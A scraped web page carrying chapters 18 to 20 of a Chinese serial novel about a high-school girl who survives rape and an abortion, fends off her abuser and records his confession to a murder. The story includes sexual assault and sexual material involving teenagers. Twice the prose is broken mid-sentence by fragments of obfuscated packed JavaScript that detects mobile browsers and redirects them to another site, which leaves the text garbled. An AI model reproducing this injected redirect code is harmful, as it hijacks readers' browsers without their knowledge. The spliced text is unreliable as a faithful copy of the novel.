脊背一僵,我赶紧过去开门,随着敞开的门缝飘进来的,还有一股微妙的糊味。 他面色有些尴尬,摸了摸鼻子: “吃饭了。” 我茫然地看着他,以为自己听错了: “什么?” 他放下手,没有看我,重复了一遍: “吃晚饭了。” 我下意识看向餐桌,上面摆着好像是饭菜的东西。 看上去很糟糕,虽然他努力摆盘了,但卖相真的很凄惨。 鸡蛋的尸体和西红柿搅在一起,像是车祸现场。 在我的记忆里,他很少进厨房—— 晚上他会拿着爸妈给的钱去买晚饭,但是没有我的份。 我绞着衣角,想了一个比较得体的理由拒绝: “我身体不舒服,不想吃。” 我很饿,但还不想死。 他怔在那里,过了一会儿才问: “那,那我陪你去医院再看看?” “不用了,谢谢。”我说完,等了几秒,看他没有离开的意思,低着头小声问,“还有事吗?” 他侧身看了一眼桌上的鸡蛋尸体,眼神黯淡一瞬: “你想吃什么别的吗?我去买。” 我咽了口口水,紧咬的牙关略松,唇舌干燥,张口重复: “不用了,谢谢。” 他凝视我许久,久到我以为他要命令我把他做的饭菜全都吃光。 可最后他只是松开撑住门板的手,哑声道: “那你好好休息。晚安。” 门扉闭合,我的泪掉下来。 这算什么。 这算什么!? ——《无名日记》】 18.打架 晚上放学,同桌带我去了镇上最高档的餐厅。 这是一家名叫大榕树的饭店,店如其名,内装以亲近自然为主题,桌椅摆饰都是树根,听说菜价贵得不得了,还有些普通人一辈子都吃不到的菜色。 从前我只是听说过,还亲眼见过周驰不止一次呼朋引伴地出入这里。 现在能堂而皇之地走进来,我自己都觉得不可思议,难得地有些窘迫: “胖虎,这里吃一顿要多少钱啊。” 他和我并肩而行,面不改色: “一场比赛的奖金,没多少。” 他这么说,我还是没概念,只好哦了一声。 服务员殷勤将我们引入包厢,冷菜已经摆了一桌,我偷偷拉了拉他的袖子: “吃不完,胖虎,根本吃不完。” “那就带回家慢慢吃。” 我放了心,转而开始数桌上的盘子,可还没数完,菜就一盘接一盘地端上来,全都是我爱吃的。 同桌坐在我左侧,慢条斯理给我夹菜,介绍道: “这家店的蟹黄包是一绝,正好大闸蟹刚刚上市,你尝尝看。还有生菜包肉,他们家的烤肉火候正好,肥而不腻,生菜也很新鲜,值得一试。” 我顾不上说话,埋头就是吃,纯把他的介绍当背景音。 果然很香! 等吃了个半饱,抬头一看,发现他却只是托腮看我,并不动筷: “你不吃吗?” “你先吃,剩下的给我。”他眉眼温和,平日里冷冷淡淡的眸子里也含了暖意,“毕竟是我请客,自然要让你乘兴而归。” “哇,你其实不用这么客气的,咱俩谁跟谁啊!” 我豪气万丈地拍了拍他的肩,却见他嘴角笑意凝住,表情有些郁郁,但也没说什么,给我夹了一块水晶虾饺: “吃你的。” 吃完饭,已经是晚上九点多,我摸了摸肚子,亲自把剩下的菜都打包起来,殷殷叮嘱: “这种好吃的,咱们一辈子也就吃这么一回,带回去,还能让我的美梦多做几天。” 同桌帮我按着饭店提供的食盒,望着我努力把烤肉压实,嘴角噙着丝若有若无的笑: “这么悲观?出息呢?” “我刚才瞥见账单了,好家伙,这一顿吃掉了咱们一个学期的生活费,不过你是为了给我过生日,我领你的情,将来肯定给你请回来,不过可能没办法来这么高级的地方了。” 我嘟哝着,合上盖子,他将打包好的餐盒装进塑料袋,提在左手,右手顺势牵住我: “接下来还有节目。” “啊?”我以为这就是全部了,忽然想起我指定的生日礼物还没有到手,“我之前说想要出去旅游,你是不是买到车票了?” “不是那个,那个往后稍稍。”他侧头看我,领着我走出饭店。 初秋的风渗着丝凉意,他握着我的手紧了些: “冷吗?” “还好。” 我刚吃了个十二分饱,自然不怕冷,甚至脸颊还有些上火——一定是炸丸子吃多了,我就说那东西太管饱,不能多吃!影响我发挥! 他牵着我一路走回家,先把打包的食物放进冰箱,然后拿着个黑色袋子走出来: “别急着脱外套,再跟我出趟门。” 我垮着张脸: “九点半啦,大哥,还要去做什么?” 他神情一滞,忽然没头没尾说了句: “别叫我大哥,实在要叫,你可以叫我哥哥。” 我的笑容就这样消失在了脸上。 眨了眨眼,我下意识捂住心口,不知道为什么,听到这个称呼的瞬间,突然觉得好难过。 “灵灵?” 他意识到了我的不对劲,赶紧走过来,在他走这几步路的时间里,我已经调整好了状态,扬起笑容: “呸,别想哄骗我叫你哥,我跟你讲,不可能,这辈子都不可能!” 他嘴唇动了动,似乎是想问为什么,但最终还是没问出口,伸手牵住我,涩声道: “走吧。” 他带我来到了小区不远处的小公园,这里的秋千和跷跷板都是我最喜欢霸占的游乐设施,常常叫在旁边等待的小朋友敢怒不敢言。 他们的家长告诉过他们,别惹我,我是个神经病。 哪个正常人会跟小孩子抢跷跷板。 他找了块空地,蹲下身来,从黑色塑料袋里往外一个个拿东西,我凑过去瞧,才发现是好多烟花,有窜天猴,也有仙女棒,礼花炮,还有其他零零碎碎的种类,粗略一数有上百根,琳琅满目。 我都不敢想,如果这些全在今天晚上放完,我会是个多么快乐的小女孩。 “哇,你是把小卖部搬空了吧?”我感叹。 他神色笼着层淡淡的忧伤,好像还沉浸在刚才的小插曲里,不过见我凑过来,还是撑起笑意: “你想先玩哪个?” “这个窜天猴给我玩!”我说着熟练接过打火机,“你要不要也来?站远一点,咱俩可以魔法对轰!” “你……”他失笑,摇了摇头,“这个射程有点远,我怕伤到你。” “好嘛。”我伸手越过他身子,去拿仙女棒,“那就从幼儿园级别的开始。” 我身子侧过去时,脸庞擦过他唇角,不知道是谁太干燥惹的祸,肌肤相触的部位起了层静电,叫我狠狠哆嗦了一下: “我去!你电着我啦!” 他眸色略深,刚要说些什么,就被我用打火机举到眼前狠狠威胁: “我跟你说,你离我远一点,不然我单方面魔法轰你!” 他脸上表情皆归为无奈,被打火机威胁到,举起双手作投降状: “行,行。我走远一点,你玩的时候小心,别炸到自己。” “那必不能够!” 我说着点燃了仙女棒,蹲在地上,看着白色的明亮焰火在掌心之下剧烈燃烧。 提问,一个高三学生在看到这个场景之后会想到什么? 哎,对啦,是焰色反应! 我晃了晃脑袋,真是被考试逼疯了。 同桌不知何时蹲到了我的身侧,并没有走远一点,甚至离得更近了,伸手覆住我捏着仙女棒的手,将整个手背都包在掌心: “烫不烫?” “还好,”我盯着焰火,不满道,“你干什么,别影响我发挥。” 他在我耳后轻笑一声: “这还能怎么发挥?” 我撇嘴,搓动手指,细细的棍子就开始左右转圈,本就绚丽的焰火开始向四周溅射,同桌立刻将我的手推远了些: “小心烧到你。” “烧不到。” 我静静地看了一会儿,直到它自然燃尽,化为一根平平无奇的、漆黑的棒子,若有所感: “人生就像这根仙女棒,总会烧完,不管之前有多绚烂,最后都会归为尘土,是不是?” 他手指一僵,随即若无其事道: “考试的时候别这么写,不然高考作文零分。” “知道啦知道啦,高考我肯定写正能量的东西,而且肯定弃记叙而取议论!放心吧,社会你灵姐出马,语文状元包稳的!” 我松了手,仙女棒落在地上,同桌却还是抓着我的手不放。 “胖虎?”我疑惑,却被一股大力往后带去,懵懵地一屁股坐在地上,这个高度不至于疼,但我的后背完完全全陷入了他的怀中,紧贴着他的胸膛。 他坐在我身后,将我整个人圈在了怀里,覆住右手的那只手,不知何时变为了十指相扣,另一只手揽在我腰间。 下巴抵在我肩膀上,呼吸间,我耳畔碎发被气流拂过,微微发痒。 四下寂静,只有一盏昏黄路灯在不远处尽职尽责,可依然照不到这个角落。 秋蝉声已经很稀疏了,四周楼房离得也远,万家灯火灭得仅剩一二。 天穹是紫黑色的,灯光是橘黄色的。 天地间,我只听到自己的心跳声。 “灵灵。”他贴着我的耳畔,心脏在我身后跳得飞快,像是一只濒死挣扎的兔子,“生日快乐。我把自己送给你,好不好?” 砰咚,砰咚。 炽热的,真挚的,意料之中的告白。 却换来了我长久 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“我这周末不回家。” 和先前同样的场景,同样的说辞。 但他却说: “我和你一起回家。爸妈……很想你。” 我努力眨了几下眼睛,把泪花眨掉,依旧低着头: “不用了。我,我周末想多看几套卷子。” “有不会的,回家我教你。” 他拿过我的书包,背在一边肩上,要来牵我的手,我下意识后退一步,将他的手拍开,二人皆是一怔。 我惶恐地发抖,下意识去看他脸色,却见他脸上没什么表情,就好像什么都没发生过一样,依旧来拉我的手。 这次我没有反抗,只能任由他牵住手掌。 肌肤相触的地方仿佛被针扎了般难受,我甚至不敢用力,整个人有点浑浑噩噩。 走出教室的时候,我遥遥看见走廊另一头,周驰吊儿郎当地捧着束花站在那里,看见我们走出来,目光落在我们相握的手上,接着就像没看见一样向我走来。 他今天用发胶固定了发型,看上去油腻腻的,周围同学还没走光,看到他这副模样,又沿着他的视线看到了我,不由都停了脚步,看热闹一般交头接耳,低低嗤笑。 口口口把我往身后拽,直面周驰,冷声道: “有事吗?” 周驰嬉皮笑脸地往他身后绕: “大舅哥,别这么古板呀,我带你妹出去玩一个周末,你就放个行吧。” “她周末要回家。” “我家就是她家,那话怎么说来着,宾至如归!” 他说着就要越过口口口来摸我的脸。 我的手指在剧烈颤抖,掌心渗出汗来,口口口察觉了这一点,将我挡得密不透风,伸手推了周驰一把: “不要再纠缠她了。” 周驰被推得后退一步,脸色顿时冷了下来: “哟,好学生,叫你一声大舅哥,你就装上了?我乐意叫你大舅哥,给你几分面子,那是看在灵灵的份上,要是惹我不高兴,你和你娘老子都得滚出池镇!” 口口口有那么几秒,没有说话。 我觉得他应该在思考要不要把我交出去。 几秒过后,周驰冷笑着正要绕过他,却猝不及防被狠狠一拳砸在了脸上,随着骨肉相撞的闷响,他整个人都栽倒在地。 我懵了,我周围的同学也都懵了。 不知是谁开始了第一声尖叫,周驰从地上爬起来,向口口口冲了过来。 他松开我的手,挥拳迎了上去。 之后的混乱我记不清了,只记得沈晓丽和几个女同学把我护在一边,有人去找老师,有人去拉架。 我模糊的视线里,只看到口口口把周驰按在地上揍,耳朵里则充满了周驰中气十足的脏话。 周五放学后,许多老师都已经回家,教师办公室里空无一人,着急的同学只能去了校长室。 这件事彻底闹大了。 ——《无名日记》】 19.名分 我被同桌圈在怀里,愣了几秒才问: “你不是喜欢沈晓丽吗?” “不是。”他闷声道,“一直都是你。” 我想起运动会结束后第二天,我因为练习扔铅球,手臂有些拉伤,想找他陪我去药房开点药,刚推开房门,就见床上鼓鼓一堆,正在抖动的东西。 他整个人埋在被子里,背对着我,等我绕过去时,看到他气息不稳,脸颊泛红,还有些出汗,警惕又带些尴尬地瞪着我。 我好奇把他被子往下扯,问他,现在是夏天,怎么把自己捂得这么严实?是不是藏什么好吃的了? 他伸手要来护住被子,手中攥着的照片就这样水灵灵地暴露在我面前。 是沈晓丽在运动会上的照片。 被子里还有奇怪的味道,记忆深处浮光掠影般闪过一丝线索,却又倏忽间消失不见。 我眨了眨眼,问他: “胖虎,你是不是尿床不让我知道?” 他憋红了脸,沉声让我出去,叫我以后进来要先敲门。 我去客厅等了好几分钟,他才穿好衣服出来,额发湿漉漉的,脸上还淌着水,看上去不那么像熟透的虾子了。 他盯着我看了片刻,像是下定了决心一般,要开口说话时,被我用手势止住了: “等下!我突然反应过来你在干嘛了,咳咳,我听班上女生说,男孩子有的时候是会躲在自己房间悄悄做一些不能被人看见的事情的,这个,这个我理解,我不会把这件事告诉别人的,我就当没看到,也不会跟沈晓丽说的!” 他凝视我,有些恍神: “沈晓丽?” 我做了个在嘴上拉拉链的动作: “我替你保密,不过你得贿赂我,不然指不定我哪天就不小心告诉沈晓丽,你暗恋她,还对着她的照片打/飞机!” 他似乎想说什么,但最终还是忍住了,走到我跟前,微微弯下腰盯着我: “那你想要我怎么贿赂?” “等等,我想想……从今往后,我说什么你都得听!” 他眸光闪烁,半晌,落下一字: “好。” 如今回想起当时的场景,我后知后觉地发现,那张照片上不仅仅有沈晓丽,还有……我。 他显然也想起了相同的事,掏出钱包,取出夹层里的照片。 在沈晓丽的身影背后,我像个呆头呆脑的獐子一样骑在栏杆上,正对着点不到底的地面发愁。 我不知道该说什么,有些手足无措,憋了一会儿才磕磕绊绊道: “你,你对着我这样的照片,也能下得去手……你,你是真不挑啊。” 他被我逗笑,胸膛微微震动,用柔得能溺死我的声线问: “那你愿意和我在一起吗?灵灵?” 我想了一会儿,还是摇了摇头: “我不懂。” “哪里不懂?” 他轻轻捏着我的手指,像是教我解答题目时那样耐心。 “我们现在这样不好吗?我们一起上学,一起放学,一起逛街吃饭,和……和真的在一起有什么区别?” “不一样的。灵灵,我要一个名分。明年你就该去大学了,在大学里,一定有许多人追你。如果你被别人抢走了怎么办?” 我撇嘴: “到时候再说嘛。” 他动作一顿,颇有些咬牙切齿的意味: “你现在不决定,是想给以后留反悔的机会?” “哎呀……我们大学又不一定在一起上,以后的事谁说得准——” 我话还没说完,就被他扣住下巴,偏过脑袋,他从身后将我抱在怀里,按住我挣扎的双手,略带凶猛地和我接吻。 我因为惊讶,瞪大了眼睛,看到他微闭着眼,眼睫又长又浓密,像小扇子一样垂下,遮住眼底晦暗神色。 他的嘴唇柔软,和身后坚硬的胸膛触感很不一样,侵略感却极强,叫人没来由地恐慌。 呼吸缠绕间,我不适地往一侧退去,他扣住我下巴的手转而按住后脑,嘴唇追上来,将我困在方寸之间。 他在我唇上辗转碾磨,品尝果冻一样舔吮唇瓣,不厌其烦地试图哄我张口。 鼻端漫来留兰香的清新香气,不知是牙膏还是口香糖,和满口烤肉香的我不同,我甚至不知道他什么时候偷偷吃了这东西。 隐约有恼人的水声响起,我想叫他放手,他却趁我松口间隙,撬开唇齿,挤了进来。 “唔——”我胸腔里的那颗心脏,开始剧烈鼓动起来。 口中咸腥味不仅仅是海水。 喷洒在脸上的也不仅仅是酒气。 在我视野里出现的,也不仅仅只有一张脸。 我猛烈挣扎起来,他怕伤到我,松了手,被我一把推倒在地,我从他怀里连滚带爬出好几米,伏在地上干呕。 我努力控制着,平复呼吸。 我不想把一辈子只能吃到一次的食物全吐出来,死死捂住喉咙,泪水滴滴答答落在地上,晕出深深痕迹。 “灵灵?”他连忙跑过来,半跪在我身侧拍我的背,语气里是掩饰不住的恐慌,“你怎么了?” 我摇头,只是哭。 他想把我抱进怀里,手伸到一半又止住了,只能小心翼翼地拍我的背: “没事了,没事了,对不起……灵灵,对不起……” 过了好几分钟,我才缓过来,抬着泪眼看他,小声问: “胖虎……我是不是病了?” 他没有立刻回答,而是将我凌乱发丝别到耳后,紧张地盯着我的神情: “怎么了?” 我的心脏里像是塞满了风滚草,又乱又胀又刺痛: “我不知道……我可能是有那个,那个,恐男症?我不知道,胖虎,我刚才就是很想吐,对不起,不是你的问题,是我的错……” “不是的……”他眼圈泛红,轻轻握住我的手,柔声哄劝,“不是你的错,是我的问题,是我不对。我们多试几次,慢慢来,好不好?” 我茫然无措,却下意识挣开了他的手。 他焦急的眸中映着一点一点后退的我。 …… 【校长办公室里,校长本来不想管这些小孩子之间的小打小闹,却因为双方身份的特殊,不得不打起精神来应付。 一方是家世显赫、给学校捐了楼的周驰,一方是断崖式第一,常常去市里联赛吊打其他学校,给本校争门面的好学生口口口。 这两个活祖宗打起来了,他很难抉择。 周驰已经被打成猪头,口口口唇角边也带了伤,二人并排站在办公室里。 我们几个躲在校长室门口偷听,校长先是各打三十大板,把两个人都说了一通,接着就要请家长。 周驰满不在乎,口口口则说: “我父母前几天刚去外地,赶不回来。” 可他明明在叫我回家过周末的时候,告诉我,是“爸妈想我了”。 周驰双手插兜,下巴和地面平齐,晃悠着肩膀道: “这事我愿意不追究,你就甭找我爸了,他一分钟几十万上下,也没空来处理我的小事,我亲妈呢,早就死了,你也请不到她,至于那个比我大不了几岁的后妈,她肯定不会来。我看不如就这样算了。” 校长虽满面不认同,但也知道就算他铁了心追究,对方家长也不一定当回事。 如果周驰的父亲真的关心儿子的教育,就不会整天任由他跟一群社会青年在外飙车闯祸了。 这件事多半不了了之。 我心下担忧周驰之后会变本加厉,却听口口口对周驰冷声道: “以后再纠缠灵灵,我照样会揍你。” 校长瞪了他一眼: “小小年纪怎么说话呢!” 周驰像是听到了什么笑话一般: “我说我爸有能力叫你们一家滚出池镇,你以为我是在跟你开玩笑?” “行了行了,少说两句,都出去吧,这事你们私下和解。” 校长揉了揉太阳穴,开始收拾桌上东西,看着准备回家了。 他一向是这样和稀泥的态度,不然也不至于把池镇高中治理成这样。 周驰冷哼一声,和口口口擦肩而过,狠狠撞了他一下,口口口晃了晃,稳住身形,在办公室门被周驰打开的瞬间,和我对上视线。 周驰看到我在门外,脸上立刻换了副笑容: “怎么,担心我?” 我立刻别开眼,握紧沈晓丽的手,她把我往身后攮了攮,板着脸训周驰: “我警告你,你不许动灵灵!不然我跟你爸告状了!” 全校也只有沈晓丽有底气这样跟他叫板,我很感激她能在这个时候站出来,搅这蹚浑水。 下次还给她带薯片。 周驰耸耸肩,带着丝意味不明的笑,眼神上下打量了我一番,哼着歌走了。 口口口走出来,跟沈晓丽道谢,要带我回家。 这次我没敢推脱,低着头跟他走了。 回到家,爸妈果然不在,他好像是已经忘了先前劝我回家时说的“爸妈很想我”的托辞,出去买了便当回来,铝饭盒里装着酸辣土豆丝,番茄炒蛋和红烧肉,还有满满一格米饭。 他还从冰箱里拿出一盒牛奶,倒在碗里,用微波炉转了之后递给我。 我默默坐在餐桌上,他给我递什么,我就喝什么。 我把饭盒里的饭菜扒得一干二净,一粒米都没有放过。 平时这个量该吃饱了,但大概是手术之后身体渴求营养,我下意识往他饭盒里看去,他一口都没动,几乎在下一刻,就把他的饭盒推给了我。 我呆住,看了看饭盒,又看了看他,不知道他什么意思。 他看着我的眼神柔和中夹杂了愧疚: “吃吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774715|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我试探地伸手,他又把饭盒往我这里推了推。 我把饭盒接到自己面前,吃几口就看他一眼,他没有生气,而是托腮看着我吃,眼帘低垂,神色晦涩不明,叫人看不懂他在想些什么。 吃到一半,我就有些撑,不知道该不该浪费粮食,却听他问: “吃不下了?” 我迅速掀起眼皮扫了他一眼,见他还是那副表情,犹豫了一下,点点头。 他把饭盒拖过去,若无其事地接着吃我的剩饭。 我吓得赶紧按住他的手: “不要!” 他抬眼,视线在我按住他手背的手指上顿了顿,又看向我,淡声问: “怎么了?” “我,我,这个留着我下一顿吃,热一热还能吃的……” 我收回手,结结巴巴,吓得话都有些说不清楚。 他垂眸看向饭盒里剩下的饭菜,不知想到了什么,涩声道: “不用。明天会给你买新的晚饭。” “那,那你也不能吃我剩饭啊……你不嫌弃吗?” 他没说话,低着头,一口一口吃着,看上去完全不在意的样子。 可我分明记得,就在不久前,他甚至连我碰他东西都反感。 我去阳台收衣服的时候,把他没来得及收的外套一起收了进来,他看到后,当着我的面,将叠好的外套从一堆衣服里揪出来,重新扔进了洗衣机。 我不懂。 我不明白。 为什么同样一个人,对我的前后态度可以天差地别。 一切异常都是从流产后开始的。 他在愧疚吗? 在弥补吗? 可他问过,我需要吗!? 我需要冷眼旁观者的怜悯吗!? 他这样做,得到安息的也只有他的良心。 而不是我。 …… 周驰和人吹牛的时候,顺口把我打过胎的事情说出来了。 好像是口口口陪我去医院的那天,被他的兄弟看见了。 学校里开始有风言风语。 周驰洋洋得意地来班上找我,我看了眼伸长脖子和耳朵的同班同学,拒绝了口口口跟上来的要求,把周驰带到了走廊尽头。 这里没有人听见。 他像是抓住了我的软肋,肆无忌惮地吹了个口哨: “跟我到高考结束,我给你一万,怎么样?不然我就让所有人都知道,你打掉的孩子是我的!” 我冷静地发疯: “那不一定。毕竟那天不止你一个,谁知道流掉的是谁的种。” 他的笑容僵在脸上,随即不服输地又挂了上去: “你打过胎,不会有人要你了!别以为上了大学就解脱了,信不信我能让你大学也不得安生?” “你造谣打过胎的女生还少吗?你觉得有几个人会信?” 我毫不退避地直视着他。 人在绝境之中,要么触底反弹,要么就此沉沦。 我是前者。 也必须是。 面对加害者,哭泣没有用,求饶没有用,忍让也没有用。 我只能比他更强硬。 周驰看了我半天,神色莫名,突然笑了出来: “越来越对我胃口了,这样吧,你大学别上了,跟我结婚,彩礼我给你二十万,不要嫁妆。你可想好了,在这个小破地方,你爸妈工资一个月加起来有一千吗?” 他说得是如此理所当然,就好像这个条件一出,我就会感恩戴德地跟了他,婚姻自此会成为他罪行的遮羞布。 凭他的阅历,是无法想到这一点的,他自己一个人也绝对拿不出这么多的钱。 我不得不去想,是不是他爸爸指点了他。 二十万,对于绝大多数人来说是辛苦一辈子才能挣到的钱,毕竟池镇的房价,一平才五百块。 他等于出了四百平的房子。 “叮铃铃——!” 上课铃声就在此时响起,我冷淡道: “我回去上课了。” 说着,不管他的脸色,径直离开。 这之后,周驰又来找了我好几次,我对此全不理会,倒是口口口,找机会又跟他打了一架。 他们背着人,没叫老师发现,但我看到了口口口额角的创可贴。 我选择了沉默。 高考当天,正值我的生理期。 手术之后,我的身体就一直不太好,生理期的疼痛更加难以忍受。 口口口买了个保温杯,出发之前满上,叫我带进去。 在两场考试的间隙里,他会从隔壁楼跑过来,帮我重新倒满热水。 他想做这些,我就任由他做。 我现在的目标只有一个,考出池镇。 我要填一个远方的大学,从此和口口口、和周驰,都毫无干系。 ——《无名日记》】 20.天真 【填报志愿是在高考成绩出来之前,这对于每个学生和家长来说都是一场豪赌。 我估了分,觉得大概能上个不错的大学,填报的时候,第一志愿往上提了提。 高考前的这段时间,我几乎废寝忘食地学习,如老师所说,只要学不死,就往死里学。 这是我应得的。 成绩出来那天,我守在电话前,一笔一划地记录自己的分数,算了算总分,长吁一口气。 等录取通知书的那个暑假,我到处打工凑学费,尽管口口口再三保证不会短了我的学费,结束项目归家的父母也说让我大学四年放心玩,但我还是我行我素。 我想,也许我只是不愿待在家里。 我在镇上的图书馆找了个工作,负责整理书籍、打扫卫生、登记借阅。 口口口常常会来这里看书,一坐一就是一个下午,那些认识他的同学家长私下里都说,怪不得人家能上清北呢,放假都在学习。 可只有我知道,他来这里的时候,通常会拿一本书,坐在视野最好的位置,可半天都翻不了一页。 他安静的视线更多地落在了我身上。 在我起身去饮水机前倒水的时候,在我低头登记书册的时候,在我将书本一本一本放回书架的时候。 有时我够不到最上面的架子,正要去拿梯子时,他会神不知鬼不觉地出现在我身后,替我把书放回去,或是取下来。 我很庆幸图书馆有一条不能交头接耳的规矩,尽管在多数人看来形同虚设,但它起码能叫我有个正大光明的理由,不和他交谈。 图书馆的工作很清闲,来看书的人也很少,下午五点闭馆,我打扫完卫生之后,五点半之前就能到家,这个时候口口口会把书还回去,默不作声地跟在我身后,就好像我的一条沉默的影子。 只要爸爸妈妈在家,一进门就能闻到热乎的饭菜香味,以前从来不会进厨房的口口口,如今竟然常常钻进厨房里,跟妈妈学做饭。 我挽起袖子,一如既往地想进厨房帮忙,却被口口口推了出来。 他说,“你只要负责吃饭就可以了”。 我僵在那里,困惑,迷茫,又感到了一点不适。 就好像许多习以为常的惯例,如今被统统推翻一般,无所适从。 这一切日常持续到了快递送达的那天。 口口口收到了清北的通知书,而我收到的则是位于国内最南端的一所大学的录取通知书。 那是我的第一志愿,彼时没有一个人认为我能考上。 我考上了。 我要离开池镇了。 我抱着快递,久违地露出了真心的笑容,落在口口口眼里,却叫他莫名发了疯。 他紧紧攥住我的快递,眼眶通红,语调凶狠,说出口的内容却近乎哀求: “我之前让你和我一起考北方城市的,你为什么改了志愿?我们以后还在同一所城市不好吗?我会照顾你的,我不会再让任何人伤害你,我会……我会尽我所能补偿你的……你一个人去南方,万一遇到危险怎么办?到时候没有人在你身边,该怎么办?” 我死死护住通知书,仰头看进他眼睛里,冷淡地反问: “即使我们在同一所城市,我遇到危险,你会来救我吗?” 他刚要开口,我继续追问: “可是那天,你为什么不来救我?” 这句诘问迟到了好几个月,但我已经不在乎他的答案了。 有的答案,提前说,不让人猜,可以;不必说,直接做,也可以。 唯独事后忏悔补救,不可以。 我不需要他的愧疚和补偿,这对我来说是负担。 我在他近乎绝望的眼神里,云淡风轻地下了结论: “所以,有没有你,又有什么区别呢?” …… 我和他最后还是决定各奔南北,天各一方。 我希望以后永无再见之日。 在出发的前一天晚上,周驰找上了我。 一个多月没见,他看上去过得并不怎么好。 沈晓丽跟我提过一次,说他家准备送他出国留学,但是他高中成绩非常差,也没有社会实践项目,所以申请不到好的学校,只能去次一些的混日子。 我本不想听到关于周驰的任何情报,奈何沈、周两家是生意上的伙伴,沈晓丽尽管也不太喜欢他,却不得不被动听取他的消息。 我以为他已经在准备出国的事情了,谁知能在图书馆遇见他。 口口口自从那天跟我产生争执后,就不再来图书馆了,甚至连着三天都不跟我说话。 这反而让我自在了很多。 如果没有遇到周驰的话。 如今的口口口看到周驰,大概是会上去跟他打一架的,但他会怎么做对我来说都已经没了意义。 所以面前的这个人,还得我自己来应付。 我曾经下过决心,如果他不来找我,我可以当是被狗咬了一口。 如果他敢再次出现,我必定会叫他付出代价。 周驰斜坐在他的机车上,等在图书馆门口,看到我锁门出来,吹了个口哨: “过来!” 就像逗弄小猫小狗那样。 我目不斜视地往前走,他也不恼,就骑着机车跟在我身边,转动把手,引擎呼哧呼哧地响。 见我没有搭理他的意思,他终于忍不住开口: “我要去英国了。” 我没有分给他半个眼神,他却也能自顾自说下去: “你跟我一起出国怎么样?现在开始申请大学还来得及的,你跟我去同一所大学,学费和生活费都是我家出!我爸提过好几次要见你这个儿媳妇,都被我挡下来了,你看什么时候方便跟我回趟家?” 我被他的莫名其妙气笑了,更多的是感到恶心: “周驰,你好大的脸。” 他把机车横在我面前,耍起了无赖: “我是真的挺喜欢你的,我睡过那么多女生,喜欢上的就你一个,你就试着跟我交往一下呗!” 他甚至将“上”字咬了重音,抛给我一个极其下流的暗示。 这个年纪的纨绔,似乎脑子里也只有这些东西了。 见我要绕开他,他不依不饶,道出了石破天惊的一句话: “你不报警不就是心里也有一点喜欢我吗?” 我被他震在当场,拧紧眉头: “周驰,我不报警是不想因为你犯下的罪行,影响我自己的人生!” 他就像是听不懂一样: “多大点事儿啊,怎么上升到影响人生的高度了?你不也爽了?要我说——” “啪!”地一声清脆耳光响在他脸上,周驰错愕地看着我,面目扭曲,下一秒似乎就要骂出声来,但那扭曲中途变成了一个狰狞的笑: “我爸妈都没打过我,你好样的。” 我打完他就跑,前方是小巷,他的机车进不来,我钻了进去,他却弃了机车来追我,身后脚步声越来越近,我慌不择路,被他逼到一处绝路,身后三面都是高墙。 见我无路可退,他反而慢了下来,双手环胸,猫捉老鼠一样踱步靠近,似乎确信我逃不了了。 我后背紧贴墙壁,望向地上那滩已经干涸许久的血迹,忽然问: “季野是你杀的,是不是?” 几个月前突兀出现在池镇高中的转校生,如昙花一现般,第二日就被杀害。 警方至今没有线索。 据说现场遗留了弹壳,也检验出了硝烟反应,确认凶器是枪支,但没有注册,大概率是走私品。 到这一步再往下查,就是大海捞针了。 只有我知道,周驰有枪。 周驰怔住,似乎没料到我会在这个时候提及季野的死: “说这个干什么?” 我指向地上血迹: “这是他的血,你踩到了。” 周驰立刻跳开,骂了句脏话: “死了都不安生!” 我心里已经有了些猜测,追问道: “所以,杀了他的人是你?为什么?” 他烦躁地避而不答: “你不跟我,是不是看上那个小白脸了?他已经死了!” 我望着地上那滩血,忽然笑了,告诉他: “是啊,我是喜欢季野。你不知道季野是为了我才转学到这里的吗?” 他满脸诧异,毕竟明面上季野只是我的前桌,跟我没有半点交集,校外也没有打过交道。 转校生季野算得上是风云人物,如果他对哪个女生不一般,那是会在瞬间传遍整个学校的。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14782076|156798||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们是地下恋情,玩网络游戏认识的。你去打听打听就知道了,我很早之前就在玩网游了。”我说得笃定,加以补充,“他家教严,不让早恋,所以我们说好不公开。” 周驰嗤笑一声,正要像过去一样嘲讽别人是穷鬼,不知想起了什么,一个“穷”字刚出口,又被他咽了回去。 大概,季野的家世是他也不能诋毁的吧。 所以他能说的只剩下一句: “他再好又怎么样?还不是死了?就算他活着,也给不了你名分,但是我可以!” 我垂着眼,暗中掐住自己大腿: “他是被杀的,我一定要为他找出凶手,不然他不能安息。” 我稍稍加重了“被杀”二字,再加上一些简单的心理暗示,心志不坚定或者思想简单的人,很容易就会上套。 果然,他说—— “别找了!杀他的人就是我!听到了吗?你最喜欢的人被我亲手杀了!你不如乖乖跟了我,不然你就会跟他一个下场!” 我抬眼,眼中已经蓄了泪水: “你为什么要杀他?” 他警惕地向后看了一眼,确定这里没有人后,才压低声音道: “他爸要来查我爸的账,我只是想让他们滚,没想过杀他!是他要举报我非法持枪,是他自找的!错的人不是我,是他!” 周驰语气无比激动,像是在说服自己一般,将过错全都推到别人身上。 面对着脖子都涨红的周驰,我沉默片刻,才怯弱地发着抖说: “求你不要伤害我……让我回家想想。” 他喜上眉梢: “真的?那什么时候能给我答复?申请学校还要时间,现在已经有点晚了!” “后天。” 我抬眼,笃定看向他。 后天,我刚刚用来录音的随身听,就会出现在警察局的证物袋里。 